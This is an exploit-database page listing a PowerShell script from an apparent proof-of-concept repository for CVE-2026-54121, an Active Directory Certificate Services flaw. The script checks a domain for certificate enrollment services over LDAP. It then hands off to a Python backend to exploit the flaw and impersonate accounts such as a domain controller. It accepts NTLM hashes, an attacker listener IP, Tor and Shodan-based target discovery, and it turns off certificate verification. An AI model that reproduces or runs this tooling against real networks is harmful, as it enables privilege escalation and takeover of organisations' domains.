Exploit databaseDownload repository ZIP
GH-852ce60957095ff495440c8d905c9f7e
tc4dy/cve-2026-54121-poc-exploit
Sources for CVE-2026-54121
6 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
tc4dy/cve-2026-54121-poc-exploitRevision dbd081b47fe2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
detection.ps1
PowerShell · 20,481 bytes# use it for legal purposes brad <3
using namespace System.DirectoryServices.Protocols
using namespace System.Net
[CmdletBinding()]
param(
[Parameter(Mandatory=$false)]
[string]$url,
[Parameter(Mandatory=$false)]
[string]$list,
[switch]$shodan,
[string]$shodan_query = "AD CS Certificate Services",
[Parameter(Mandatory=$true)]
[string]$domain,
[Parameter(Mandatory=$true)]
[string]$dc_ip,
[Parameter(Mandatory=$true)]
[string]$username,
[Parameter(Mandatory=$false)]
[string]$password,
[Parameter(Mandatory=$false)]
[string]$hashes,
[string]$computer_name,
[string]$computer_pass,
[string]$computer_hash,
[string]$target_account,
[string]$template = "Machine",
[string]$listener,
[switch]$use_ldap,
[switch]$exploit,
[switch]$detect,
[int]$threads = 5,
[int]$timeout = 10,
[int]$retry = 3,
[float]$delay = 1.0,
[string]$proxy,
[switch]$no_verify,
[switch]$tor,
[string]$output,
[switch]$verbose,
[switch]$quiet,
[Alias('h')]
[switch]$help
)
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
$PSDefaultParameterValues['*:ErrorAction'] = 'Stop'
$RED = "`e[91m"; $GREEN = "`e[92m"; $YELLOW = "`e[93m"; $BLUE = "`e[94m"
$MAGENTA = "`e[95m"; $CYAN = "`e[96m"; $WHITE = "`e[97m"; $BOLD = "`e[1m"
$DIM = "`e[2m"; $RESET = "`e[0m"
function Write-Log {
param(
[Parameter(Mandatory=$true)][string]$Message,
[ValidateSet('Info','Warn','Error','Success','Debug','Raw')][string]$Level = 'Info'
)
if ($quiet -and $Level -notin @('Error','Raw')) { return }
if ($Level -eq 'Debug' -and -not $verbose) { return }
$prefix = switch ($Level) {
'Info' { "${DIM}[$(Get-Date -Format 'HH:mm:ss')]${RESET} ${CYAN}[*]${RESET}" }
'Warn' { "${DIM}[$(Get-Date -Format 'HH:mm:ss')]${RESET} ${YELLOW}[!]${RESET}" }
'Error' { "${DIM}[$(Get-Date -Format 'HH:mm:ss')]${RESET} ${RED}[-]${RESET}" }
'Success' { "${DIM}[$(Get-Date -Format 'HH:mm:ss')]${RESET} ${GREEN}[+]${RESET}" }
'Debug' { "${DIM}[$(Get-Date -Format 'HH:mm:ss')]${RESET} ${MAGENTA}[D]${RESET}" }
'Raw' { "" }
}
if ($Level -eq 'Raw') {
Write-Host $Message
} else {
Write-Host "$prefix $Message"
}
}
function Print-Banner {
$banner = @"
${RED}${BOLD}══════════════════════════════════════════════════════════════════════════════════════
${RESET}${CYAN}${BOLD} CVE-2026-54121 ${RESET}${RED}${BOLD}
${RESET}${WHITE}${BOLD} CertiGhost - Active Directory Certificate Services ${RESET}${RED}${BOLD}
${RESET}${YELLOW}${BOLD} CVSS Score: 8.8 (High) ${RESET}${RED}${BOLD}
══════════════════════════════════════════════════════════════════════════════════════
${RESET}${MAGENTA}${BOLD} where is tc4dy? allright yep :p${RESET}${RED}${BOLD}
══════════════════════════════════════════════════════════════════════════════════════
${RESET}
"@
Write-Host $banner
}
function Write-Section {
param([Parameter(Mandatory=$true)][string]$Title)
Write-Host ""
Write-Host ("=" * 70) -ForegroundColor DarkCyan
Write-Host " $Title" -ForegroundColor Cyan
Write-Host ("=" * 70) -ForegroundColor DarkCyan
}
function Show-Usage {
@"
Usage:
.\certighost.ps1 -d <domain> -dc_ip <ip> -username <user> [-password <pass> | -hashes <LM:NT>] -url <target_ca>
.\certighost.ps1 -d <domain> -dc_ip <ip> -username <user> [-password <pass> | -hashes <LM:NT>] -list <file>
.\certighost.ps1 -d <domain> -dc_ip <ip> -username <user> -shodan
Options:
-url <ca> Target CA IP or hostname
-list <file> File with targets
-shodan Load targets from Shodan (requires SHODAN_API_KEY)
-domain <dns> Domain DNS name (required)
-dc_ip <ip> Domain Controller IP (required)
-username <user> Low-priv domain user (required)
-password <pass> User password
-hashes <LM:NT> NTLM hash
-computer_name <n> Existing computer account (with `$)
-computer_pass <p> Existing computer password
-computer_hash <h> Existing computer NT hash
-target_account <a> Account to impersonate (e.g. DC01`$)
-template <t> Certificate template (default: Machine)
-listener <ip> Attacker IP for rogue servers
-use_ldap Use LDAP (389) instead of LDAPS (636)
-exploit Perform exploitation (default: detect-only)
-detect Detection only
-threads <n> Max threads (default: 5)
-output <file> Output JSON file
-verbose Verbose output
-quiet Quiet mode
-help, -h Show this help
"@ | Write-Host
}
function Get-NTHash {
param([Parameter(Mandatory=$true)][string]$Plain)
$md4 = [System.Security.Cryptography.MD4]::Create()
try {
$bytes = [System.Text.Encoding]::Unicode.GetBytes($Plain)
$hash = $md4.ComputeHash($bytes)
return ([System.BitConverter]::ToString($hash)).Replace("-","").ToLower()
} finally {
$md4.Dispose()
}
}
function Resolve-CaDns {
param(
[Parameter(Mandatory=$false)][string]$CaDns,
[Parameter(Mandatory=$true)][string]$DcIp
)
if ([string]::IsNullOrWhiteSpace($CaDns)) { return $null }
try {
$Resolved = [System.Net.Dns]::GetHostAddresses($CaDns) |
Where-Object { $_.AddressFamily -eq 'InterNetwork' } |
Select-Object -First 1
if ($Resolved) {
Write-Log "CA DNS '$CaDns' resolved to $($Resolved.IPAddressToString)" -Level Debug
return $Resolved.IPAddressToString
}
Write-Log "CA DNS '$CaDns' did not resolve to an IPv4 address" -Level Warn
} catch {
Write-Log "CA DNS resolution failed for '$CaDns': $($_.Exception.Message)" -Level Warn
}
return $null
}
function Test-IsValidIPv4 {
param([Parameter(Mandatory=$true)][string]$Value)
$parsed = $null
if ([System.Net.IPAddress]::TryParse($Value, [ref]$parsed)) {
return ($parsed.AddressFamily -eq 'InterNetwork')
}
return $false
}
function Invoke-NativeDetection {
param(
[Parameter(Mandatory=$true)][string]$TargetIP,
[Parameter(Mandatory=$true)][string]$Domain,
[Parameter(Mandatory=$true)][string]$Username,
[Parameter(Mandatory=$false)][string]$Password,
[Parameter(Mandatory=$false)][string]$LmHash,
[Parameter(Mandatory=$false)][string]$NtHash,
[switch]$UseLDAP
)
if (-not [string]::IsNullOrWhiteSpace($NtHash) -or -not [string]::IsNullOrWhiteSpace($LmHash)) {
Write-Log "Native PS detection does not support NTLM hash authentication. Falling back to password-only bind." -Level Warn
Write-Log "If you only have hashes, use the Python backend directly for detection." -Level Warn
}
if ([string]::IsNullOrWhiteSpace($Password)) {
Write-Log "No password supplied; native LDAP bind cannot proceed with hashes alone." -Level Warn
return [PSCustomObject]@{
Success = $false
CaName = $null
CaDns = $null
Error = "Password required for native LDAP bind"
}
}
$LdapConn = $null
try {
$BaseDN = "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration," +
(($Domain -split '\.' | ForEach-Object { "DC=$_" }) -join ',')
$LdapUri = if ($UseLDAP) { "LDAP://$TargetIP" } else { "LDAPS://$TargetIP" }
Write-Log "Connecting to $LdapUri" -Level Debug
$LdapConn = New-Object System.DirectoryServices.Protocols.LdapConnection($LdapUri)
$LdapConn.SessionOptions.ProtocolVersion = 3
$LdapConn.SessionOptions.SecureSocketLayer = -not $UseLDAP
if (-not $UseLDAP) {
$LdapConn.SessionOptions.VerifyServerCertificate = { param($c, $cert) return $true }
}
$NetCred = New-Object System.Net.NetworkCredential($Username, $Password, $Domain)
$LdapConn.Bind($NetCred)
Write-Log "LDAP bind succeeded" -Level Success
$Filter = "(objectClass=pKIEnrollmentService)"
$Attrs = @("cn", "dNSHostName")
$SearchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
$BaseDN, $Filter, [System.DirectoryServices.Protocols.SearchScope]::OneLevel, $Attrs
)
$Resp = $LdapConn.SendRequest($SearchReq)
$Entries = $Resp.Entries
if ($null -eq $Entries -or @($Entries).Count -eq 0) {
Write-Log "No AD CS enrollment service found" -Level Warn
return [PSCustomObject]@{
Success = $false
CaName = $null
CaDns = $null
Error = "No AD CS found"
}
}
$Entry = @($Entries)[0]
$CaName = $null
if ($Entry.Attributes.Contains("cn") -and $Entry.Attributes["cn"].Count -gt 0) {
$CaName = [string]$Entry.Attributes["cn"].GetValues([string])[0]
}
$CaDns = $null
if ($Entry.Attributes.Contains("dNSHostName") -and $Entry.Attributes["dNSHostName"].Count -gt 0) {
$CaDns = [string]$Entry.Attributes["dNSHostName"].GetValues([string])[0]
}
if ([string]::IsNullOrWhiteSpace($CaName)) {
Write-Log "AD CS entry found but 'cn' attribute is empty" -Level Warn
return [PSCustomObject]@{
Success = $false
CaName = $null
CaDns = $CaDns
Error = "Missing cn attribute"
}
}
Write-Log "AD CS detected: $CaName ($CaDns)" -Level Success
return [PSCustomObject]@{
Success = $true
CaName = $CaName
CaDns = $CaDns
Error = $null
}
} catch {
Write-Log "LDAP error: $($_.Exception.Message)" -Level Error
return [PSCustomObject]@{
Success = $false
CaName = $null
CaDns = $null
Error = $_.Exception.Message
}
} finally {
if ($null -ne $LdapConn) {
try { $LdapConn.Dispose() } catch { }
}
}
}
function Find-PythonInterpreter {
foreach ($candidate in @('python3', 'python', 'py')) {
$cmd = Get-Command $candidate -ErrorAction SilentlyContinue
if ($cmd) {
return $cmd.Source
}
}
return $null
}
function Find-PythonExploitScript {
$candidates = @()
if ($PSScriptRoot) { $candidates += (Join-Path $PSScriptRoot 'certighost.py') }
$candidates += (Join-Path (Get-Location).Path 'certighost.py')
foreach ($c in $candidates) {
if (Test-Path -LiteralPath $c) { return $c }
}
return $null
}
function Invoke-PythonExploit {
param(
[Parameter(Mandatory=$true)][hashtable]$ArgsDict
)
$PythonExe = Find-PythonInterpreter
if (-not $PythonExe) {
Write-Log "No Python interpreter found in PATH (tried python3, python, py)." -Level Error
return [PSCustomObject]@{ Success = $false; ExitCode = -1; Output = $null }
}
$PyScript = Find-PythonExploitScript
if (-not $PyScript) {
Write-Log "Python exploit script 'certighost.py' not found next to this script or in the current directory." -Level Error
return [PSCustomObject]@{ Success = $false; ExitCode = -1; Output = $null }
}
$ArgList = New-Object System.Collections.Generic.List[string]
$ArgList.Add("-d"); $ArgList.Add($ArgsDict.domain)
$ArgList.Add("--username"); $ArgList.Add($ArgsDict.username)
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.password)) {
$ArgList.Add("--password"); $ArgList.Add($ArgsDict.password)
} elseif (-not [string]::IsNullOrWhiteSpace($ArgsDict.hashes)) {
$ArgList.Add("--hashes"); $ArgList.Add($ArgsDict.hashes)
}
$ArgList.Add("--dc-ip"); $ArgList.Add($ArgsDict.dc_ip)
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.ca_ip)) {
$ArgList.Add("--ca-ip"); $ArgList.Add($ArgsDict.ca_ip)
}
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.ca)) {
$ArgList.Add("--ca"); $ArgList.Add($ArgsDict.ca)
}
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.listener)) {
$ArgList.Add("--listener"); $ArgList.Add($ArgsDict.listener)
}
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.target_account)) {
$ArgList.Add("--target-account"); $ArgList.Add($ArgsDict.target_account)
}
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.template)) {
$ArgList.Add("--template"); $ArgList.Add($ArgsDict.template)
}
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.computer_name)) {
$ArgList.Add("--computer-name"); $ArgList.Add($ArgsDict.computer_name)
}
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.computer_pass)) {
$ArgList.Add("--computer-pass"); $ArgList.Add($ArgsDict.computer_pass)
}
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.computer_hash)) {
$ArgList.Add("--computer-hash"); $ArgList.Add($ArgsDict.computer_hash)
}
if ($ArgsDict.use_ldap) { $ArgList.Add("--use-ldap") }
if ($ArgsDict.exploit) { $ArgList.Add("--exploit") } else { $ArgList.Add("--detect") }
if (-not [string]::IsNullOrWhiteSpace($ArgsDict.output)) {
$ArgList.Add("-o"); $ArgList.Add($ArgsDict.output)
}
if ($ArgsDict.verbose) { $ArgList.Add("-v") }
if ($ArgsDict.quiet) { $ArgList.Add("-q") }
Write-Log "Executing: $PythonExe $PyScript $($ArgList -join ' ')" -Level Debug
$captured = $null
$exitCode = -1
try {
$captured = & $PythonExe $PyScript @ArgList 2>&1
$exitCode = $LASTEXITCODE
} catch {
Write-Log "Python execution failed: $($_.Exception.Message)" -Level Error
return [PSCustomObject]@{ Success = $false; ExitCode = -1; Output = $null }
}
if ($captured) {
$captured | ForEach-Object { Write-Host $_ }
}
return [PSCustomObject]@{
Success = ($exitCode -eq 0)
ExitCode = $exitCode
Output = $captured
}
}
function Read-TargetFromList {
param([Parameter(Mandatory=$true)][string]$ListPath)
if (-not (Test-Path -LiteralPath $ListPath)) {
Write-Log "List file not found: $ListPath" -Level Error
return $null
}
try {
$first = Get-Content -LiteralPath $ListPath -ErrorAction Stop |
Where-Object { $_ -and -not $_.TrimStart().StartsWith('#') } |
Select-Object -First 1
if ($first) { return $first.Trim() }
} catch {
Write-Log "Failed to read list file: $($_.Exception.Message)" -Level Error
}
return $null
}
function Invoke-Main {
if ($help -or [string]::IsNullOrWhiteSpace($url) -and [string]::IsNullOrWhiteSpace($list) -and -not $shodan) {
Show-Usage
return
}
Print-Banner
if ($detect) { $exploit = $false }
if (-not $detect -and -not $exploit) { $exploit = $false }
if ($shodan) {
Write-Log "Shodan target loading is not implemented in the PowerShell wrapper. Use the Python backend directly with --shodan." -Level Warn
}
$LmHash = ""
$NtHash = ""
if (-not [string]::IsNullOrWhiteSpace($hashes)) {
$parts = $hashes -split ":"
if ($parts.Count -eq 1) {
$NtHash = $parts[0]
} elseif ($parts.Count -eq 2) {
$LmHash = $parts[0]
$NtHash = $parts[1]
} else {
Write-Log "Invalid hash format. Expected 'NT' or 'LM:NT'." -Level Error
return
}
}
if ([string]::IsNullOrWhiteSpace($NtHash) -and [string]::IsNullOrWhiteSpace($Password)) {
Write-Log "Either -password or -hashes must be supplied." -Level Error
return
}
$TargetCA = $null
if (-not [string]::IsNullOrWhiteSpace($url)) {
$TargetCA = $url
} elseif (-not [string]::IsNullOrWhiteSpace($list)) {
if (Test-Path -LiteralPath $list) {
$TargetCA = Read-TargetFromList -ListPath $list
} else {
$TargetCA = $list
}
}
Write-Section "1. System & Network Info"
if ($TargetCA) { Write-Log "Target CA: $TargetCA" -Level Info }
Write-Log "Target DC IP: $dc_ip" -Level Info
Write-Log "Domain: $domain" -Level Info
Write-Section "2. AD CS Detection (Native PS)"
$Detection = Invoke-NativeDetection `
-TargetIP $dc_ip `
-Domain $domain `
-Username $username `
-Password $password `
-LmHash $LmHash `
-NtHash $NtHash `
-UseLDAP:$use_ldap
$IsAdcs = $Detection.Success
$CaName = $Detection.CaName
$CaDns = $Detection.CaDns
$ExploitResult = $null
if ($IsAdcs -and $exploit) {
Write-Section "3. Exploitation (Calling Python Backend)"
$ResolvedCaIp = Resolve-CaDns -CaDns $CaDns -DcIp $dc_ip
if ($ResolvedCaIp) {
Write-Log "Resolved CA IP: $ResolvedCaIp" -Level Debug
} else {
Write-Log "CA DNS could not be resolved; Python backend will attempt its own resolution." -Level Warn
}
$ArgsMap = @{
domain = $domain
username = $username
password = $password
hashes = $hashes
dc_ip = $dc_ip
ca_ip = $ResolvedCaIp
ca = $CaName
listener = $listener
target_account = $target_account
template = $template
computer_name = $computer_name
computer_pass = $computer_pass
computer_hash = $computer_hash
use_ldap = $use_ldap.IsPresent
exploit = $true
verbose = $verbose.IsPresent
quiet = $quiet.IsPresent
output = $output
}
$ExploitResult = Invoke-PythonExploit -ArgsDict $ArgsMap
if ($ExploitResult.Success) {
Write-Log "Python exploit completed successfully." -Level Success
} else {
Write-Log "Python exploit exited with code $($ExploitResult.ExitCode)." -Level Error
}
} elseif ($IsAdcs -and -not $exploit) {
Write-Log "Detection complete. Target presents AD CS." -Level Success
Write-Log "Run with -exploit to perform exploitation (requires certighost.py)." -Level Warn
} else {
Write-Log "This target does not appear to expose AD CS." -Level Warn
}
if (-not [string]::IsNullOrWhiteSpace($output)) {
$Data = [PSCustomObject]@{
Target = $TargetCA
DC_IP = $dc_ip
Domain = $domain
ADCS = $IsAdcs
CA = $CaName
CA_DNS = $CaDns
Exploited = if ($ExploitResult) { $ExploitResult.Success } else { $false }
ExploitExit = if ($ExploitResult) { $ExploitResult.ExitCode } else { $null }
Timestamp = (Get-Date).ToUniversalTime().ToString('o')
}
try {
$Data | ConvertTo-Json -Depth 4 | Out-File -LiteralPath $output -Encoding utf8
Write-Log "Results saved to $output" -Level Info
} catch {
Write-Log "Failed to write output file: $($_.Exception.Message)" -Level Error
}
}
Write-Section "Scan Finished"
}
try {
Invoke-Main
} catch {
Write-Log "Unhandled error: $($_.Exception.Message)" -Level Error
if ($verbose) {
Write-Host $_.ScriptStackTrace -ForegroundColor DarkGray
}
exit 1
}